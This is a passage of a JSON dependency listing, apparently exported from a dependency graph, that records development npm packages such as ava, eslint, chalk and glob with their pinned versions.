ptional":false},{"id":7671535614,"package_name":"append-transform","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535615,"package_name":"aproba","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535616,"package_name":"archy","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535617,"package_name":"are-we-there-yet","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535618,"package_name":"buffer","ecosystem":"npm","requirements":"6.0.3","direct":false,"kind":"development","optional":false},{"id":7671535619,"package_name":"readable-stream","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":7671535620,"package_name":"argparse","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535621,"package_name":"array-differ","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535622,"package_name":"array-find-index","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671535623,"package_name":"array-union","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535624,"package_name":"arrgv","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671535625,"package_name":"arrify","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535626,"package_name":"astral-regex","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535627,"package_name":"ava","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7671535628,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671535629,"package_name":"base64-js","ecosystem":"npm","requirements":"1.5.1","direct":false,"kind":"development","optional":false},{"id":7671535630,"package_name":"benchmark","ecosystem":"npm","requirements":"2.1.4","direct":false,"kind":"development","optional":false},{"id":7671535631,"package_name":"bin-links","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":7671535632,"package_name":"binary-extensions","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7671535633,"package_name":"bl","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671535634,"package_name":"blueimp-md5","ecosystem":"npm","requirements":"2.19.0","direct":false,"kind":"development","optional":false},{"id":7671535635,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.11","direct":false,"kind":"development","optional":false},{"id":7671535636,"package_name":"braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":7671535637,"package_name":"browser-stdout","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7671535638,"package_name":"browserslist","ecosystem":"npm","requirements":"4.21.4","direct":false,"kind":"development","optional":false},{"id":7671535639,"package_name":"buffer","ecosystem":"npm","requirements":"5.7.1","direct":false,"kind":"development","optional":false},{"id":7671535640,"package_name":"builtins","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671535641,"package_name":"c8","ecosystem":"npm","requirements":"7.12.0","direct":false,"kind":"development","optional":false},{"id":7671535642,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671535643,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":7671535644,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535645,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"development","optional":false},{"id":7671535646,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7671535647,"package_name":"yargs","ecosystem":"npm","requirements":"16.2.0","direct":false,"kind":"development","optional":false},{"id":7671535648,"package_name":"cacache","ecosystem":"npm","requirements":"17.0.2","direct":false,"kind":"development","optional":false},{"id":7671535649,"package_name":"aggregate-error","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535650,"package_name":"clean-stack","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7671535651,"package_name":"indent-string","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535652,"package_name":"p-map","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535653,"package_name":"caching-transform","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":7671535654,"package_name":"make-dir","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535655,"package_name":"semver","ecosystem":"npm","requirements":"5.7.1","direct":false,"kind":"development","optional":false},{"id":7671535656,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"2.4.3","direct":false,"kind":"development","optional":false},{"id":7671535657,"package_name":"call-bind","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671535658,"package_name":"callsites","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535659,"package_name":"camelcase","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":7671535660,"package_name":"caniuse-lite","ecosystem":"npm","requirements":"1.0.30001439","direct":false,"kind":"development","optional":false},{"id":7671535661,"package_name":"cbor","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"development","optional":false},{"id":7671535662,"package_name":"chalk","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7671535663,"package_name":"chardet","ecosystem":"npm","requirements":"0.7.0","direct":false,"kind":"development","optional":false},{"id":7671535664,"package_name":"chokidar","ecosystem":"npm","requirements":"3.5.3","direct":false,"kind":"development","optional":false},{"id":7671535665,"package_name":"chownr","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535666,"package_name":"chunkd","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535667,"package_name":"ci-info","ecosystem":"npm","requirements":"3.7.1","direct":false,"kind":"development","optional":false},{"id":7671535668,"package_name":"ci-parallel-vars","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535669,"package_name":"clean-stack","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":7671535670,"package_name":"clean-yaml-object","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false},{"id":7671535671,"package_name":"cli-cursor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535672,"package_name":"cli-spinners","ecosystem":"npm","requirements":"2.6.1","direct":false,"kind":"development","optional":false},{"id":7671535673,"package_name":"cli-truncate","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535674,"package_name":"cli-width","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535675,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"development","optional":false},{"id":7671535676,"package_name":"clone","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671535677,"package_name":"cmd-shim","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671535678,"package_name":"code-excerpt","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535679,"package_name":"color-convert","ecosystem":"npm","requirements":"1.9.3","direct":false,"kind":"development","optional":false},{"id":7671535680,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":7671535681,"package_name":"color-support","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":7671535682,"package_name":"commander","ecosystem":"npm","requirements":"9.4.1","direct":false,"kind":"development","optional":false},{"id":7671535683,"package_name":"comment-parser","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7671535684,"package_name":"common-ancestor-path","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535685,"package_name":"common-path-prefix","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535686,"package_name":"commondir","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535687,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":7671535688,"package_name":"concordance","ecosystem":"npm","requirements":"5.0.4","direct":false,"kind":"development","optional":false},{"id":7671535689,"package_name":"console-control-strings","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7671535690,"package_name":"convert-source-map","ecosystem":"npm","requirements":"1.8.0","direct":false,"kind":"development","optional":false},{"id":7671535691,"package_name":"convert-to-spaces","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535692,"package_name":"correct-license-metadata","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671535693,"package_name":"cosmiconfig","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671535694,"package_name":"parse-json","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7671535695,"package_name":"cp-file","ecosystem":"npm","requirements":"6.2.0","direct":false,"kind":"development","optional":false},{"id":7671535696,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"development","optional":false},{"id":7671535697,"package_name":"cssesc","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535698,"package_name":"currently-unhandled","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":7671535699,"package_name":"date-format","ecosystem":"npm","requirements":"4.0.14","direct":false,"kind":"development","optional":false},{"id":7671535700,"package_name":"date-time","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535701,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"development","optional":false},{"id":7671535702,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671535703,"package_name":"decamelize","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535704,"package_name":"deep-equal","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535705,"package_name":"deep-extend","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"development","optional":false},{"id":7671535706,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":7671535788,"package_name":"find-cache-dir","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535707,"package_name":"default-require-extensions","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535708,"package_name":"defaults","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671535709,"package_name":"define-properties","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7671535710,"package_name":"del","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7671535711,"package_name":"slash","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535712,"package_name":"delegates","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535713,"package_name":"depcheck","ecosystem":"npm","requirements":"1.4.3","direct":false,"kind":"development","optional":false},{"id":7671535714,"package_name":"@babel/parser","ecosystem":"npm","requirements":"7.16.4","direct":false,"kind":"development","optional":false},{"id":7671535715,"package_name":"argparse","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":7671535716,"package_name":"js-yaml","ecosystem":"npm","requirements":"3.14.1","direct":false,"kind":"development","optional":false},{"id":7671535717,"package_name":"depd","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7671535718,"package_name":"deps-regex","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":7671535719,"package_name":"diff","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535720,"package_name":"diff-match-patch","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7671535721,"package_name":"dir-glob","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671535722,"package_name":"docopt","ecosystem":"npm","requirements":"0.6.2","direct":false,"kind":"development","optional":false},{"id":7671535723,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535724,"package_name":"dotenv","ecosystem":"npm","requirements":"16.0.1","direct":false,"kind":"development","optional":false},{"id":7671535725,"package_name":"eastasianwidth","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":7671535726,"package_name":"electron-to-chromium","ecosystem":"npm","requirements":"1.4.284","direct":false,"kind":"development","optional":false},{"id":7671535727,"package_name":"emittery","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535728,"package_name":"emoji-regex","ecosystem":"npm","requirements":"9.2.2","direct":false,"kind":"development","optional":false},{"id":7671535729,"package_name":"encoding","ecosystem":"npm","requirements":"0.1.13","direct":false,"kind":"development","optional":false},{"id":7671535730,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"development","optional":false},{"id":7671535731,"package_name":"enhance-visitors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535732,"package_name":"enquirer","ecosystem":"npm","requirements":"2.3.6","direct":false,"kind":"development","optional":false},{"id":7671535733,"package_name":"entities","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671535734,"package_name":"env-paths","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"development","optional":false},{"id":7671535735,"package_name":"err-code","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":7671535736,"package_name":"error-ex","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"development","optional":false},{"id":7671535737,"package_name":"es6-error","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7671535738,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7671535739,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535740,"package_name":"escodegen","ecosystem":"npm","requirements":"1.14.3","direct":false,"kind":"development","optional":false},{"id":7671535741,"package_name":"eslint","ecosystem":"npm","requirements":"8.33.0","direct":false,"kind":"development","optional":false},{"id":7671535742,"package_name":"eslint-plugin-ava","ecosystem":"npm","requirements":"14.0.0","direct":false,"kind":"development","optional":false},{"id":7671535743,"package_name":"pkg-dir","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535744,"package_name":"resolve-from","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535745,"package_name":"eslint-plugin-jsdoc","ecosystem":"npm","requirements":"40.0.0","direct":false,"kind":"development","optional":false},{"id":7671535746,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535747,"package_name":"eslint-plugin-json","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535748,"package_name":"eslint-plugin-regexp","ecosystem":"npm","requirements":"1.12.0","direct":false,"kind":"development","optional":false},{"id":7671535749,"package_name":"eslint-plugin-yml","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7671535750,"package_name":"eslint-scope","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":7671535751,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"development","optional":false},{"id":7671535752,"package_name":"eslint-utils","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535753,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535754,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7671535755,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7671535756,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":7671535757,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535758,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7671535759,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":7671535760,"package_name":"is-path-inside","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"development","optional":false},{"id":7671535761,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":7671535762,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.1","direct":false,"kind":"development","optional":false},{"id":7671535763,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7671535764,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":7671535765,"package_name":"espree","ecosystem":"npm","requirements":"9.4.0","direct":false,"kind":"development","optional":false},{"id":7671535766,"package_name":"esprima","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":7671535767,"package_name":"espurify","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671535768,"package_name":"esquery","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671535769,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7671535770,"package_name":"estraverse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7671535771,"package_name":"estree-walker","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7671535772,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":7671535773,"package_name":"event-target-shim","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671535774,"package_name":"events","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7671535775,"package_name":"execa","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":7671535776,"package_name":"external-editor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535777,"package_name":"fast-check","ecosystem":"npm","requirements":"3.6.3","direct":false,"kind":"development","optional":false},{"id":7671535778,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":7671535779,"package_name":"fast-diff","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671535780,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.2.11","direct":false,"kind":"development","optional":false},{"id":7671535781,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535782,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":7671535783,"package_name":"fastq","ecosystem":"npm","requirements":"1.13.0","direct":false,"kind":"development","optional":false},{"id":7671535784,"package_name":"figures","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535785,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7671535786,"package_name":"file-url","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535787,"package_name":"fill-range","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671535789,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535790,"package_name":"flat","ecosystem":"npm","requirements":"5.0.2","direct":false,"kind":"development","optional":false},{"id":7671535791,"package_name":"flat-cache","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":7671535792,"package_name":"flatted","ecosystem":"npm","requirements":"3.2.7","direct":false,"kind":"development","optional":false},{"id":7671535793,"package_name":"flow-parser","ecosystem":"npm","requirements":"0.156.0","direct":false,"kind":"development","optional":false},{"id":7671535794,"package_name":"flow-remove-types","ecosystem":"npm","requirements":"2.156.0","direct":false,"kind":"development","optional":false},{"id":7671535795,"package_name":"foreground-child","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535796,"package_name":"fs-extra","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"development","optional":false},{"id":7671535797,"package_name":"fs-minipass","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535798,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535799,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"development","optional":false},{"id":7671535800,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535801,"package_name":"functional-red-black-tree","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535802,"package_name":"functions-have-names","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":7671535803,"package_name":"gauge","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535804,"package_name":"gensync","ecosystem":"npm","requirements":"1.0.0-beta.2","direct":false,"kind":"development","optional":false},{"id":7671535805,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":7671535806,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535807,"package_name":"get-port","ecosystem":"npm","requirements":"6.1.2","direct":false,"kind":"development","optional":false},{"id":7671535808,"package_name":"get-stdin","ecosystem":"npm","requirements":"9.0.0","direct":false,"kind":"development","optional":false},{"id":7671535809,"package_name":"get-stream","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7671535810,"package_name":"glob","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":7671535811,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671535812,"package_name":"globals","ecosystem":"npm","requirements":"11.12.0","direct":false,"kind":"development","optional":false},{"id":7671535813,"package_name":"globby","ecosystem":"npm","requirements":"13.1.3","direct":false,"kind":"development","optional":false},{"id":7671535814,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.10","direct":false,"kind":"development","optional":false},{"id":7671535815,"package_name":"grapheme-splitter","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671535816,"package_name":"growl","ecosystem":"npm","requirements":"1.10.5","direct":false,"kind":"development","optional":false},{"id":7671535818,"package_name":"has","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671535819,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535820,"package_name":"has-property-descriptors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535821,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671535822,"package_name":"has-tostringtag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535823,"package_name":"has-unicode","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535824,"package_name":"hasha","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535825,"package_name":"is-stream","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7671535826,"package_name":"he","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671535827,"package_name":"hosted-git-info","ecosystem":"npm","requirements":"2.8.9","direct":false,"kind":"development","optional":false},{"id":7671535828,"package_name":"html-escaper","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7671535829,"package_name":"http-cache-semantics","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7671535830,"package_name":"http-proxy-agent","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535831,"package_name":"https-proxy-agent","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671535832,"package_name":"human-signals","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671535833,"package_name":"humanize-ms","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7671535834,"package_name":"husky","ecosystem":"npm","requirements":"8.0.3","direct":false,"kind":"development","optional":false},{"id":7671535835,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.4.24","direct":false,"kind":"development","optional":false},{"id":7671535836,"package_name":"ieee754","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7671535837,"package_name":"ignore","ecosystem":"npm","requirements":"5.2.4","direct":false,"kind":"development","optional":false},{"id":7671535838,"package_name":"ignore-by-default","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535839,"package_name":"ignore-walk","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671535840,"package_name":"immutable","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671535841,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7671535842,"package_name":"import-modules","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535843,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":7671535844,"package_name":"indent-string","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535845,"package_name":"infer-owner","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671535846,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":7671535847,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"development","optional":false},{"id":7671535848,"package_name":"ini","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671535849,"package_name":"inquirer","ecosystem":"npm","requirements":"9.1.1","direct":false,"kind":"development","optional":false},{"id":7671535850,"package_name":"bl","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535851,"package_name":"cli-cursor","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535852,"package_name":"is-interactive","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535853,"package_name":"log-symbols","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7671535854,"package_name":"mimic-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535855,"package_name":"onetime","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671535856,"package_name":"ora","ecosystem":"npm","requirements":"6.1.2","direct":false,"kind":"development","optional":false},{"id":7671535857,"package_name":"restore-cursor","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535858,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"development","optional":false},{"id":7671535859,"package_name":"invariant","ecosystem":"npm","requirements":"2.2.4","direct":false,"kind":"development","optional":false},{"id":7671535860,"package_name":"inversify","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7671535903,"package_name":"ip","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535905,"package_name":"irregular-plurals","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7671535936,"package_name":"is-arguments","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535938,"package_name":"is-arrayish","ecosystem":"npm","requirements":"0.2.1","direct":false,"kind":"development","optional":false},{"id":7671535940,"package_name":"is-binary-path","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535941,"package_name":"is-ci","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671535943,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.9.0","direct":false,"kind":"development","optional":false},{"id":7671535945,"package_name":"is-date-object","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7671535946,"package_name":"is-error","ecosystem":"npm","requirements":"2.2.2","direct":false,"kind":"development","optional":false},{"id":7671535954,"package_name":"is-extglob","e